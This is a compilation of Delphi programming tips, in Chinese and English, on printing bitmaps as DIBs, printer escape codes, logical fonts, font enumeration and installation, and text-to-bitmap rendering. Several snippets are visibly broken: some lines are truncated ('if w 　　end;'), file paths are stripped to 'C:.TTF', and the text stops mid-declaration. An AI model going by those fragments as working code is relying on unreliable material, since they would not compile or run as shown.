the like to transfer a bitmap to the printer, since the

underlying bitmap is based on the screen, and is device

dependent. The only way to reliably print an image is to

use DIBs (Device Independent Bitmaps). Getting a valid DIB can

be difficult, as there are many Windows API functions that must

be used correctly. Further, many video drivers incorrectly fill

in the DIB structure in regards to the color table in the DIB.

The following example demonstrates an attempt to overcome

some of these problems and limitations. The example should

compile successfully under all versions of Delphi/C++ Builder.

The core function in the example, BltTBitmapAsDib(), accepts

a handle to a device to image to, the x and y coordinates you

wish the bitmap to be imaged at, the width and height you wish

the image to be (stretching and shrinking is acceptable), and

the TBitmap you wish to image.

Example:

uses Printers;

type

PPalEntriesArray = ^TPalEntriesArray; {for palette re-construction}

TPalEntriesArray = array[0..0] of TPaletteEntry;

procedure BltTBitmapAsDib(DestDc : hdc; {Handle of where to blt}

x : word; {Bit at x}

y : word; {Blt at y}

Width : word; {Width to stretch}

Height : word; {Height to stretch}

bm : TBitmap); {the TBitmap to Blt}

var

OriginalWidth :LongInt; {width of BM}

dc : hdc; {screen dc}

IsPaletteDevice : bool; {if the device uses palettes}

IsDestPaletteDevice : bool; {if the device uses palettes}

BitmapInfoSize : integer; {sizeof the bitmapinfoheader}

lpBitmapInfo : PBitmapInfo; {the bitmap info header}

hBm : hBitmap; {handle to the bitmap}

hPal : hPalette; {handle to the palette}

OldPal : hPalette; {temp palette}

hBits : THandle; {handle to the DIB bits}

pBits : pointer; {pointer to the DIB bits}

lPPalEntriesArray : PPalEntriesArray; {palette entry array}

NumPalEntries : integer; {number of palette entries}

i : integer; {looping variable}

begin

{If range checking is on - lets turn it off for now}

{we will remember if range checking was on by defining}

{a define called CKRANGE if range checking is on.}

{We do this to access array members past the arrays}

{defined index range without causing a range check}

{error at runtime. To satisfy the compiler, we must}

{also access the indexes with a variable. ie: if we}

{have an array defined as a: array[0..0] of byte,}

{and an integer i, we can now access a[3] by setting}

{i := 3; and then accessing a[i] without error}

{$IFOPT R+}

{$DEFINE CKRANGE}

{$R-}

{$ENDIF}

{Save the original width of the bitmap}

OriginalWidth := bm.Width;

{Get the screen's dc to use since memory dc's are not reliable}

dc := GetDc(0);

{Are we a palette device?}

IsPaletteDevice :=

GetDeviceCaps(dc, RASTERCAPS) and RC_PALETTE = RC_PALETTE;

{Give back the screen dc}

dc := ReleaseDc(0, dc);

{Allocate the BitmapInfo structure}

if IsPaletteDevice then

BitmapInfoSize := sizeof(TBitmapInfo) + (sizeof(TRGBQUAD) * 255)

else

BitmapInfoSize := sizeof(TBitmapInfo);

GetMem(lpBitmapInfo, BitmapInfoSize);

{Zero out the BitmapInfo structure}

FillChar(lpBitmapInfo^, BitmapInfoSize, #0);

{Fill in the BitmapInfo structure}

lpBitmapInfo^.bmiHeader.biSize := sizeof(TBitmapInfoHeader);

lpBitmapInfo^.bmiHeader.biWidth := OriginalWidth;

lpBitmapInfo^.bmiHeader.biHeight := bm.Height;

lpBitmapInfo^.bmiHeader.biPlanes := 1;

if IsPaletteDevice then

lpBitmapInfo^.bmiHeader.biBitCount := 8

else

lpBitmapInfo^.bmiHeader.biBitCount := 24;

lpBitmapInfo^.bmiHeader.biCompression := BI_RGB;

lpBitmapInfo^.bmiHeader.biSizeImage :=

((lpBitmapInfo^.bmiHeader.biWidth *

longint(lpBitmapInfo^.bmiHeader.biBitCount)) div 8) *

lpBitmapInfo^.bmiHeader.biHeight;

lpBitmapInfo^.bmiHeader.biXPelsPerMeter := 0;

lpBitmapInfo^.bmiHeader.biYPelsPerMeter := 0;

if IsPaletteDevice then begin

lpBitmapInfo^.bmiHeader.biClrUsed := 256;

lpBitmapInfo^.bmiHeader.biClrImportant := 256;

end else begin

lpBitmapInfo^.bmiHeader.biClrUsed := 0;

lpBitmapInfo^.bmiHeader.biClrImportant := 0;

end;

{Take ownership of the bitmap handle and palette}

hBm := bm.ReleaseHandle;

hPal := bm.ReleasePalette;

{Get the screen's dc to use since memory dc's are not reliable}

dc := GetDc(0);

if IsPaletteDevice then begin

{If we are using a palette, it must be}

{selected into the dc during the conversion}

OldPal := SelectPalette(dc, hPal, TRUE);

{Realize the palette}

RealizePalette(dc);

end;

{Tell GetDiBits to fill in the rest of the bitmap info structure}

GetDiBits(dc,

hBm,

0,

lpBitmapInfo^.bmiHeader.biHeight,

nil,

TBitmapInfo(lpBitmapInfo^),

DIB_RGB_COLORS);

{Allocate memory for the Bits}

hBits := GlobalAlloc(GMEM_MOVEABLE,

lpBitmapInfo^.bmiHeader.biSizeImage);

pBits := GlobalLock(hBits);

{Get the bits}

GetDiBits(dc,

hBm,

0,

lpBitmapInfo^.bmiHeader.biHeight,

pBits,

TBitmapInfo(lpBitmapInfo^),

DIB_RGB_COLORS);

if IsPaletteDevice then begin

{Lets fix up the color table for buggy video drivers}

GetMem(lPPalEntriesArray, sizeof(TPaletteEntry) * 256);

{$IFDEF VER100}

NumPalEntries := GetPaletteEntries(hPal,

0,

256,

lPPalEntriesArray^);

{$ELSE}

NumPalEntries := GetSystemPaletteEntries(dc,

0,

256,

lPPalEntriesArray^);

{$ENDIF}

for i := 0 to (NumPalEntries - 1) do begin

lpBitmapInfo^.bmiColors[i].rgbRed :=

lPPalEntriesArray^[i].peRed;

lpBitmapInfo^.bmiColors[i].rgbGreen :=

lPPalEntriesArray^[i].peGreen;

lpBitmapInfo^.bmiColors[i].rgbBlue :=

lPPalEntriesArray^[i].peBlue;

end;

FreeMem(lPPalEntriesArray, sizeof(TPaletteEntry) * 256);

end;

if IsPaletteDevice then begin

{Select the old palette back in}

SelectPalette(dc, OldPal, TRUE);

{Realize the old palette}

RealizePalette(dc);

end;

{Give back the screen dc}

dc := ReleaseDc(0, dc);

{Is the Dest dc a palette device?}

IsDestPaletteDevice :=

GetDeviceCaps(DestDc, RASTERCAPS) and RC_PALETTE = RC_PALETTE;

if IsPaletteDevice then begin

{If we are using a palette, it must be}

{selected into the dc during the conversion}

OldPal := SelectPalette(DestDc, hPal, TRUE);

{Realize the palette}

RealizePalette(DestDc);

end;

{Do the blt}

StretchDiBits(DestDc,

x,

y,

Width,

Height,

0,

0,

OriginalWidth,

lpBitmapInfo^.bmiHeader.biHeight,

pBits,

lpBitmapInfo^,

DIB_RGB_COLORS,

SrcCopy);

if IsDestPaletteDevice then begin

{Select the old palette back in}

SelectPalette(DestDc, OldPal, TRUE);

{Realize the old palette}

RealizePalette(DestDc);

end;

{De-Allocate the Dib Bits}

GlobalUnLock(hBits);

GlobalFree(hBits);

{De-Allocate the BitmapInfo}

FreeMem(lpBitmapInfo, BitmapInfoSize);

{Set the ownership of the bimap handles back to the bitmap}

bm.Handle := hBm;

bm.Palette := hPal;

{Turn range checking back on if it was on when we started}

{$IFDEF CKRANGE}

{$UNDEF CKRANGE}

{$R+}

{$ENDIF}

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if PrintDialog1.Execute then begin

Printer.BeginDoc;

BltTBitmapAsDib(Printer.Canvas.Handle,

0,

0,

Image1.Picture.Bitmap.Width,

Image1.Picture.Bitmap.Height,

Image1.Picture.Bitmap);

Printer.EndDoc;

end;

end;


打印机ESC控制字符的使用

打印机ESC控制字符的使用

回复人： lyre(大头鬼) ( ) 信誉：100 2002-10-12 20:09:49 得分:0

唉，就这点分，还问这么多……

以下纯属举例，我几年前做过Unix下的打印，知道过程应该是这样的，但举例用的换码序列一定是不确切的，需要用你从手册上查出来的来替代：

-----------------------

比方说，手册上说明:

^[1B 粗体

^[0B 正常字体

你想打印字符串：

I am a hero.

其中，“am”为粗体，其他部分为正常字体，在Delphi中代码是：

assignfile(f,'lpt1');//"把这个直接输出到操作系统的打印虚拟文件"

s := 'I ' + #27'1B' + 'am' + #27'0B' + ' a hero.';

writeln(f,s);

closefile(f);


操作TChar的简单示例

下面是简单的例子：

var

i, j, kum: Integer;

s, t: TBarSeries;

begin

with Chart1 do

begin

// Title of the Chart

SeriesList.Clear;

Title.Text.Clear;

Title.Text.Add('My Title for Char');

Legend.Visible :=True;

Legend.LegendStyle :=lsAuto;

Legend.TextStyle := ltsLeftValue;

// Create first Series

s := TBarSeries.Create(nil);

// Clear it

s.Clear;

s.BarStyle :=bsRectGradient;

s.ColorEachPoint :=True;

// set the title

s.Title := 'Bar 1';

// determine the chart, this series belongs to

s.ParentChart := Chart1;

// the x-axis shall use date

s.XValues.DateTime := False;

s.AutoBarSize :=False;

s.BarWidthPercent := 70;

s.OffsetPercent :=0;

s.Marks.Style :=smsPercent;

// create the second Series

t := TBarSeries.Create(nil);

t.Clear;

t.Title := 'Bar 2';

t.ParentChart := Chart1;

t.XValues.DateTime := False;

// this series uses the right axis

t.VertAxis := aLeftAxis;

// now add the random values

Randomize;

for i := 0 to 5 do

begin

j := Random(100) + 1;

s.AddXY(i, j);

kum := j;

t.AddXY(i , kum + Random(20));

end;

end;

end;


逻辑字体(LogFont)

字间距很小，我可以怎样处理？如何在WINDOWS中象在UCDOS下控制打印字体的长宽，而不受限于SIZE 的限制？

首先为了达到这个功能，可以采用Windows的逻辑字体(LogFont)可以使用 CreateFont 或

CreateFontIndirect 这两个Windows API函数来定义任何想要的字体，由于 CreateFont

所需的参数甚多通常我们使用 CreateFontIndirect 来建立所需的逻辑字体，这个API函数

在Delphi中的声明为function CreateFontIndirect(const p1: TLogFont): HFONT;

stdcall;其中只有一个参数 p1: TLogfont, 所有有关字体的参数完全通过这个TLogfont

结构来传送，Windows将根据结构中的内容创建出相应的逻辑字体，在Delphi的Windows.pas

中TLogFont是这样定义的

TLogFontA = packed record

lfHeight: Longint;

lfWidth: Longint;

lfEscapement: Longint;

lfOrientation: Longint;

lfWeight: Longint;

lfItalic: Byte;

lfUnderline: Byte;

lfStrikeOut: Byte;

lfCharSet: Byte;

lfOutPrecision: Byte;

lfClipPrecision: Byte;

lfQuality: Byte;

lfPitchAndFamily: Byte;

lfFaceName: array[0..LF_FACESIZE - 1] of AnsiChar;

end;

TLogFontW = packed record

lfHeight: Longint;

lfWidth: Longint;

lfEscapement: Longint;

lfOrientation: Longint;

lfWeight: Longint;

lfItalic: Byte;

lfUnderline: Byte;

lfStrikeOut: Byte;

lfCharSet: Byte;

lfOutPrecision: Byte;

lfClipPrecision: Byte;

lfQuality: Byte;

lfPitchAndFamily: Byte;

lfFaceName: array[0..LF_FACESIZE - 1] of WideChar;

end;

TLogFont = TLogFontA;

其中涉及到很多参数，其中

lfHeight: Longint;

指定以逻辑单位标定的字体高度，取值可为正负或零，对于需要随意定义字体高度的情况

下通常取负值，以保证获得实际尺寸的字体。

lfWidth: Longint;

用于指定字体的平均宽度，由于Windows系统下的大多数字体都是比例字体因而采用平均宽

度这个表示方法。若指定为0，则系统会自动根据适当的比例自动处理宽度。

lfEscapement: Longint;

指定输出方向与当前坐标系X轴之间的以十分之一度为单位的角度。

lfOrientation: Longint;

指定每个字符与当前坐标系X轴之间的以十分之一度为单位的角度。在Windows95中这个值

等同于lfEscpement。

lfWeight: Longint;

指定范围为从0至1000的字体加重程度，400是标准字体700为加重字体，0表示采用默认值。

lfItalic: Byte;

不为0表示采用斜体字。

lfUnderline: Byte;

不为0表示带下划线。

lfStrikeOut: Byte;

不为0表示带穿透线。

lfCharSet: Byte;

指定字体集。

lfOutPrecision: Byte;

指定输出精度。用于确定对前面一些设定值的精确程度。

lfClipPrecision: Byte;

指定裁剪精度。裁剪是Windows图形环境下的一种特殊处理，简单说就是去掉图形中落在视

图以外的部分，有助于提高图形的处理速度。

lfQuality: Byte;

指定输出质量。

lfPitchAndFamily: Byte;

指定字体的Pitch和Family。

lfFaceName: array[0..LF_FACESIZE - 1] of AnsiChar;

指定采用的字体名称。

在建立逻辑字体时，我们通常使用

lfHeight和lfWidth来确定字体的尺寸，使用lfEscapement和lfOrientation

来确定字体的输出方向，使用lfWeight, lfItalic, lfUnderline,

lfStrikeOut, 来确定字体的加重，斜体，下划线和穿透线，使用lfCharSet

来确定字体的字符集，通常采用系统默认的字符集。

对于lfOutPrecision, lfClipPrecision, lfQuality一般应用于对屏幕之外

的输出设备，通常采用默认值。采用lfPitchAndFamily来确定采用定宽或可

变字体和字体的家族。以lfFaceName来通过名称选择采用的字体。

另外应当注意在Windows环境下，每种字体具体输出为何种形式取决于很多

因素，需要对以上这些参数进行有效的组合才能达到所要的效果。


字体的相似性

You need to get the font information, either a TLogfont (which given a font

handle, can ge filled using the API GetObject function) or a

TNewTextMetric, which is handed to your callback if you use

EnumFontFamiliesEx. The latter has a member tmPitchAndFamily (for a

TLogfont the equivalent is lfPitchAndFamily). Bits 4 to 7 of that encode

the font family, and that is what you want.

Case lfPitchAndFamily AND $F0 Of

FF_MODERN: family := 'modern';

FF_SWISS: family := 'swiss';

FF_ROMAN: family := 'roman';

FF_SCRIPT: family := 'script';

...

See win32.hlp topic LOGFONT for a full list.

var

lf: TLogFont;

begin

FillChar( lf, sizeof(lf), 0 );

Windows.GetObject( somefont.handle, sizeof(lf), @lf );

That is the easiest way to get the information if you have set up a TFont

with the font name and charset.

I have

modified an old example for the test. Just drop two listboxes on a form and add

handlers for the forms OnCreate and listbox1's onclick events.

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, stdctrls;

type

TForm1 = class(TForm)

ListBox1: TListBox;

ListBox2: TListBox;

procedure FormCreate(Sender: TObject);

procedure ListBox1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);

begin

listbox1.items.assign( screen.fonts );

end;

Function EnumProc( Var elf: TEnumLogFont;

Var ntm: TNewTextmetric;

fonttype: Integer;

listbox: TListbox ): Integer; stdcall;

Var

S: String;

Begin

If fonttype = TRUETYPE_FONTTYPE Then Begin

listbox.Items.Add( Format( 'Name: %s', [elf.elfFullName] ));

listbox.Items.Add( Format( 'Style: %s', [elf.elfStyle] ));

End

Else

listbox.Items.Add( Format( 'Name: %s', [elf.elfLogfont.lfFacename] ));

listbox.Items.Add( Format( 'Size: %d', [elf.elfLogFont.lfHeight] ));

listbox.Items.Add( Format( 'Weight: %d', [elf.elfLogFont.lfWeight] ));

If elf.elfLogFont.lfItalic <> 0 Then

listbox.Items.Add('This font is italic');

Case fonttype of

DEVICE_FONTTYPE: S:= 'device font';

RASTER_FONTTYPE: S:= 'raster font';

TRUETYPE_FONTTYPE: S:= 'truetype font'

Else

S:= 'unknown font type';

End;

listbox.Items.Add( Format( 'This is a %s', [S] ));

listbox.items.add( format('Font Family: $%s',

[inttohex(elf.elflogfont.lfPitchAndFamily, 2)]));

Result := 1;

End;

procedure TForm1.ListBox1Click(Sender: TObject);

begin

listbox2.clear;

With listbox1 Do

If ItemIndex >= 0 Then

EnumFontFamilies(

Self.Canvas.Handle,

PChar( Items[ItemIndex] ),

@EnumProc,

Longint( listbox2 ));

end;

end.

end.

--

Peter Below (TeamB)


添加字体资源

AddFontResource(PChar('myfont.ttf'));

SendMessage(HWND_BROADCAST,WM_FONTCHANGE,0,0);

uses Registry;

procedure TForm1.Button1Click(Sender: TObject);

var

reg: TRegistry;

b : bool;

begin

CopyFile('C:.TTF',

'C:.TTF', b);

reg := TRegistry.Create;

reg.RootKey := HKEY_LOCAL_MACHINE;

reg.LazyWrite := false;

reg.OpenKey('Software',

false);

reg.WriteString('TESTMICR (TrueType)','FP000100.TTF');

reg.CloseKey;

reg.free;

{Add the font resource}

AddFontResource('c:.TTF');

SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);

{Remove the resource lock}

RemoveFontResource('c:.TTF');

SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);

end;

***************************

使用没有注册的字体资源：

procedure TForm1.FormCreate(Sender: TObject);

begin

AddFontResource(PChar(ExtractFilePath(ParamStr(0) + 'YourFont.TTF')));

SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

RemoveFontResource(PChar(ExtractFilePath(ParamStr(0) + 'YourFont.TTF')));

SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);

end;


如何获得字体可用字号

用SCREEN。FONTS可获得系统字体列表，但如何得到字体所能使用的字号吗？

象一些小字体smallfont只能用12以下的字号一样，其它的怎么知道？

飞人 (1998-11-21 19:36:26)

以下的函数GetFontSizeList用来取得字体名为FontName的字体的所

有可用尺寸，而EnumFontsSize是其中要用到的字体枚举回调函数：

function EnumFontsSize(var LogFont: TLogFont; var TextMetric: TTextMetric;

FontType: Integer; Data: Pointer): Integer; stdcall;

begin

TStrings( Data ).Add(IntToStr( LogFont.lfHeight) );

Result := 1;

end;

procedure GetFontSizeList( FontName : String; List : TStrings );

//FontName,是字体名；

//这种字体的所有可用尺寸将被填在List中。

var

DC: HDC;

begin

List.Clear;

DC := GetDC(0);

EnumFonts(DC, PChar(FontName), @EnumFontsSize, Pointer(List));

ReleaseDC(0, DC);

end;

jiangtao (1998-11-22 20:51:40)

Try this:(it's from LMD TFontsizeCombobox)

var

Form1: TForm1;

VRES:Integer;

const

MaxStdSizes=16;

function EnumFontFamiliesProc(var LogFont: TLogFont; var TextMetric: TTextMetric;

FontType: Integer; Data:Pointer): Integer; {$IFDEF WIN32} stdcall; {$ELSE} export; {$ENDIF}

procedure AddToList(const aValue:String);

var

j:Integer;

c:Boolean;

begin

j:=0;

c:=False;

with TListBox(Data) do

begin

while (j<Items.Count) and not c do

if StrToInt(aValue)>=StrToInt(Items[j]) then Inc(j) else c:=True;

Items.Insert(j, aValue);

end;

end;

var

i:Integer;

c:String;

const

csizes:array[0..MaxStdSizes-1] of Integer=(8,9,10,11,12,14,16,18,20,22,24,26,28,36,48,72);

begin

result:=0;

with TListBox(Data) do

begin

if (FontType and TRUETYPE_FONTTYPE=TRUETYPE_FONTTYPE) or (FontType in [0,2]) then

begin

For i:=0 to (MaxStdSizes-1) do Items.Add(IntToStr(Csizes[i]));

result:=0

end;

if (FontType and RASTER_FONTTYPE=RASTER_FONTTYPE)

{or (FontType and DEVICE_FONTTYPE=DEVICE_FONTTYPE)} then

with TextMetric do

begin

c:=IntToStr(Round((tmHeight-tmInternalLeading)*72 / VRES));

if Items.IndexOf(c)=-1 then AddToList(c);

result:=1;

end;

end

end;

procedure TForm1.DoList(FFontName:String);

var

buffer:array[0..255] of Char;

DC:HDC;

begin

ListBox1.Items.Clear;

DC:=GetDC(0);

StrPCopy(Buffer, FFontName);

vres:=GetDeviceCaps(DC, LOGPIXELSY);

EnumFontFamilies(DC, Buffer, @EnumFontFamiliesProc,

LongInt(ListBox1));

ReleaseDC(0, DC);

end;


Get Font Info

Get Font Info

Function TForm1.GetFontInfo(fFilename: string; fFontSize: integer): string;

var

SavedFile: THandle; // holds a handle to the open file

BytesRead: DWORD; // the number of bytes read from the file

FontData: Pointer; // points to retrieved font data

StringID: TTrueTypeStringID; // defines string to be retrieved

begin

{open the font file}

Result := '';

SavedFile := CreateFile(PChar(fFilename), GENERIC_READ, 0, nil,

OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL or

FILE_FLAG_SEQUENTIAL_SCAN, {0}

SECURITY_IMPERSONATION);

GetMem(FontData, fFontSize); {retrieve enough memory to hold the font

data}

try

ReadFile(SavedFile, FontData^, fFontSize, BytesRead, nil); {read the

font data into the font data buffer}

CloseHandle(SavedFile); {we are done with the document file, so

close it}

with StringID do

begin

PlatformID := piAny;

EncodingID := 0;

LanguageID := 0;

NameID := niFullFontName;

end;

Result := GetTrueTypeString(FontData, StringID); {display the name of

the font that is located in the font file}

finally

FreeMem(FontData); {free the buffer allocated to hold the font

data}

end;

end;

function GetTrueTypeString(const FontFile: Pointer;

const StringID: TTrueTypeStringID): string;

var

OffsetTable: POffsetTable;

Entry: PTableDirectoryEntry;

CurrentEntry: Integer;

Header: PNamingTableHeader;

NameRecord: PNameRecord;

CurrentRecord: Integer;

StorageArea: Pointer;

Continue: Boolean;

PlatformID: Integer;

FontName: PChar;

begin

OffsetTable := FontFile; {the offset table is located at the beginning

of the font file}

Entry := Ptr(Cardinal(FontFile) + SizeOf(TOffsetTable)); {let Entry

point to the first table directory entry, located directly after the offset

table}

CurrentEntry := 1;

while (Entry^.Tag <> 'name') and (CurrentEntry <

BigWordToWord(OffsetTable^.NumTables)) do

begin

Entry := Ptr(Cardinal(Entry) + SizeOf(TTableDirectoryEntry));

{let Entry point to the next table directory entry}

Inc(CurrentEntry);

end;

Header := Ptr(Cardinal(FontFile) + BigCardinalToCardinal(Entry^.Offset));

{locate the Naming Table Header}

StorageArea := Ptr(Cardinal(Header) + BigWordToWord(Header^.Offset));

{locate the storage area for name strings}

NameRecord := Ptr(Cardinal(Header) + SizeOf(TNamingTableHeader)); {let

NameRecord point to the first Name Record}

CurrentRecord := 1;

repeat

{select the string to be retrieved}

Continue := (BigWordToWord(NameRecord^.NameID) = Ord(StringID.NameID))

and (BigWordToWord(NameRecord^.EncodingID) =

StringID.EncodingID)

and (BigWordToWord(NameRecord^.LanguageID) =

StringID.LanguageID);

if Continue then

begin

PlatformID := BigWordToWord(NameRecord^.PlatformID);

case StringID.PlatformID of

piAny: Continue := Continue and (PlatformID = 1);

piAppleUnicode: Continue := Continue and (PlatformID = 0);

piMacintosh: Continue := Continue and (PlatformID = 1);

piISO: Continue := Continue and (PlatformID = 2);

piMicrosoft: Continue := Continue and (PlatformID = 3);

end;

end;

if Continue then

begin

FontName := PChar(Cardinal(StorageArea) +

BigWordToWord(NameRecord^.StorageAreaOffset));

Result := FontName;

SetLength(Result, BigWordToWord(NameRecord^.Length));

Exit;

end;

NameRecord := Pointer(Cardinal(NameRecord) + SizeOf(TNameRecord));

{let NameRecord point to the next Name Record}

Inc(CurrentRecord);

until CurrentRecord > BigWordToWord(Header^.Number);

Result := ''; // string not found

end;


编程实现文本文件到图像文件的转化

编程实现文本文件到图像文件的转化

--------------------------------------------------------------------------------

     经常上网的朋友在收发电子邮件时，由于双方的内码不一致或者操作系统有差异，经常会出现乱码。有人就提出了一种解决的途径，即在画笔等图像编辑软件里输入，再存为图片，然后以图像形式发送邮件。但是在图像编辑软件里输入文字总有这样那样的不便之处，而直接把文本文件转换成图像的软件又不多见，下面我们就“自己动手，丰衣足食”，用Delphi编程来实现它。

    为了保证跨中英文平台使用，我们必须在程序中自带字库，这里我选择UCDOS中的中文点阵字库hzk16和ASC字符字库asc16，首先我们要把它们编译成资源。用任何一个文本编辑器编辑hzk.rc如下:

    201 HZK16 DISCARDABLE “Hzk16"

    202 ASC16 DISCARDABLE “Asc16"

    然后把UCDOS中的两个字库hzk16和asc16拷入当前目录中，在DOS环境下运行brcc32 hzk.rc，其中brcc32.exe位于Delphi安装目录中的bin目录下，如果正常的话，应该在当前目录中生成一个资源文件hzk.res。

    下面我们在Delphi中建立一个工程，命名为txt2bmp，命名主Form为MainForm，在TMainForm声明之前加入以下内容：

    type

    ByteArray = Array [0..0] of byte;

    PByte = ^ByteArray;

    在TMainForm的Private段中加入以下内容：

    hhzk : HGlOBAL;

    //汉字点阵资源句柄

    hasc : HGLOBAL;

    //ASC字符点阵资源句柄

    phzk : PByte;

    //汉字点阵资源指针

    pasc : PByte;

    //ASC字符点阵资源指针

    SFile, DFile : string;

    //转换的源文件和目的文件名

    procedure HandleRes; //处理引入的资源

    procedure Convert;

    //Txt2Bmp转换函数

    procedure WriteLine(str: string; x,y: integer; Can: TCanvas)

    //在图像的Canvas中写入一行汉字

    为了节省篇幅，SFile和DFile的设置请读者自行完成，我是用一个OpenDialog和一个SaveDialog来实现的，设置好SFile和DFile以后，直接调用Convert即可。下面我们来完成上面三个主要的函数：

    首先来定位程序中的点阵资源，即完成HandleRes函数，程序段如下：

    procedure TMainForm.HandleRes;

    var

    hres : HRSRC;

    begin

    hres := FindResource(0,PChar(201),“HZK16”);

     //查找汉字点阵资源

    if hres <> 0 then begin

    hhzk := LoadResource(0,hres);

    //载入汉字点阵资源

    if hhzk <> 0 then begin

    phzk := LockResource(hhzk);

    //锁定，得到资源指针

    end;

    end;

    hres := Find Resource(0,PChar(202),“ASC16”);

    //查找ASC字符资源

    if hres <> 0 then begin

    hasc := LoadResource(0,hres);

    //载入ASC字符资源

    if hasc <> 0 then begin

    pasc := LockResource(hasc);

    //锁定，得到资源指针

    end;

    end;

    if (phzk = nil) or (pasc = nil) then begin

    MessageDlg(“Can not load resource!”＃10＃13“Program stopped!”,

    mtWarning,[mbOk],0);

    Application.Terminate;

    end;

    end;

    为了保证资源正确释放，在FormCreate事件中加入如下代码：

    hhzk := 0;

    hasc := 0;

    phzk := nil;

    pasc := nil;

    SFile := “”;

    DFile := “”;

    HandleRes;

    在FormDestroy事件中加入以下代码：

    if hhzk <> 0 then FreeResource(hhzk);

    if hasc <> 0 then FreeResource(hasc);

    接着我们来编写Convert函数，源代码如下：

    procedure TMainForm.Convert;

    var

    tf : TextFile;

    StrLst : TStringList;

    buf : string;

    w,h,i : integer;

    bmp : TBitMap;

    begin

    StrLst := TStringList.Create;

     //用来存为文件内容

    AssignFile(tf,SFile);

    Reset(tf); //打开源文件

    while not Eof(tf) do begin

    ReadLn(tf,buf);

    //循环读入文件内容

    for i := 1 to Length(buf) do begin

    //把TAB键、回车、换行转为空格

    if (buf[i] = ＃9) or (buf[i] = ＃10) or (buf[i] = ＃13)

    then buf[i] := ' ';

    end;

    StrLst.Add(buf);

    end;

    CloseFile(tf);

    //以下代码计算bmp文件尺寸，由于是16点阵字库，

    //每个字符高度为16，宽度为8，每行间距取为4

    h := StrLst.Count＊20; //bmp文件高度

    w := 0;

    for i := 0 to StrLst.Count－1 do begin//计算最长一行字符数

    if w 　　end;

    w := w＊8;//bmp文件宽度

    bmp := TBitMap.Create;

    //创建bmp对象

    bmp.Monochrome := true;

    //选择创建黑白图像，缩小尺寸

    //设定尺寸，预留页边距

    bmp.Height := h ＋ 60;

    bmp.Width := w ＋ 60;

    for i := 0 to StrLst.Count－1 do begin//调用WriteLine写入一行

    WriteLine(StrLst[i],30,30＋i＊20,bmp.Canvas);

    end;

    bmp.SaveToFile(DFile);

    //bmp文件存盘

    Image1.Picture.Bitmap.Assign(bmp);//此句需在Form上放置Image1,查看结果

    bmp.Free;

    StrLst.Free;

    end;

    下面是最后一个函数WriteLine，其中有关点阵定位的计算，请参见以前DOS下显示汉字的有关文章。

    procedure TMainForm.WriteLine(str: string; x, y: integer; Can: TCanvas);

    var

    i,m,n,k : integer;//循环变量

    leng : integer;//字符串长度

    off : integer;//点阵偏移

    begin

    i := 1;

    leng := Length(str);

    //计算字符串长度

    while(i<=leng) do begin

    //判断是否是汉字，汉字占两行

    if (i 　　and boolean(byte(str[i＋1]) and ＄80) then begin

    //计算汉字点阵偏移量

    off := ((byte(str[i])－＄a1) and ＄7f) ＊ 94 ＋ ((byte(str[i＋1])－＄a1) and ＄7f);

    off := off ＊ 32;

    //在画布上描绘一个汉字

    for m := 0 to 15 do begin

    for n := 0 to 1 do begin

    for k := 7 downto 0 do begin

    if boolean(phzk[off＋m＊2＋n] and (1 shl k)) then begin

    Can.Pixels[x＋n＊8＋7－k,y＋m] := 1;

    end;

    end;

    end;

    end;

    inc(x,16);

    inc(i,2);

    end else begin //不是汉字

    off := byte(str[i])＊16;//计算ASC字符点阵偏移

    //在画布上描绘一个ASC字符

    for m := 0 to 15 do begin

    for k := 7 downto 0 do begin

    if boolean(pasc[off＋m] and (1 shl k)) then begin

    Can.Pixels[x＋7－k,y＋m] := 1;

    end;

    end;

    end;

    inc(x,8);

    inc(i);

    end;

    end;

    end;

    至此，本程序的主体部分已经基本完成，具体细节可参见源代码(http://home.etang.com/xd_w/software/txt2bmp.zip),程序运行界面如图所示。本程序在Delphi4.0，PWIN98，Celeron366上调试通过。本程序生成bmp文件后,转换成gif文件，将进一步减小尺寸。另外本程序稍加改进即可用于在英文平台上显示中文文本，进一步加入BIG5和GB码的转换码表，还可以作到直接转换BIG5码文件，有兴趣的读者可进一步修改，到时候别忘了给我一份就行了。

    （上海 XD.W）


Mid的循环播放

下面的程序我已实际编译运行过，随便你暂停多少次，都可以再次循环播放

unit Unit1;

interface

uses

Windows, Messages, mmsystem,SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

Button3: TButton;

Button4: TButton;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

procedure Button3Click(Sender: TObject);

procedure Button4Click(Sender: TObject);

protected

procedure MCINotify(Var Message:TMessage);Message MM_MCINOTIFY;

private

function SendMCIStr(Const Value:String):PChar;

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

begin

SendMciStr('Open C:123.mid alias mid');

SendMciStr('Play mid notify');

end;

procedure TForm1.MCINotify(var Message: TMessage);

begin

if SendMciStr('Status mid mode')='stopped' then

begin

SendMciStr('Seek mid to start');

SendMciStr('Play mid notify');

end;

end;

function TForm1.SendMCIStr(const Value: String):PChar;

Var Buf:Array[0..4095] of char;

begin

MCISendString(PChar(Value),Buf,Sizeof(Buf),Handle);

Result:=Buf;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

SendMCiStr('Pause mid notify');

end;

procedure TForm1.Button3Click(Sender: TObject);

begin

SendMCiStr('Play mid notify');

end;

procedure TForm1.Button4Click(Sender: TObject);

begin

SendMciStr('Close mid');

end;

end.

回复人：yeah(2000-8-22 1:39:00) 得0分

下面的程序我已实际编译运行过，随便你暂停多少次，都可以再次循环播放，

其中Button1为打开并播放，Button2为暂停,Button3恢复,Button4关闭。

unit Unit1;

interface

uses

Windows, Messages, mmsystem,SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

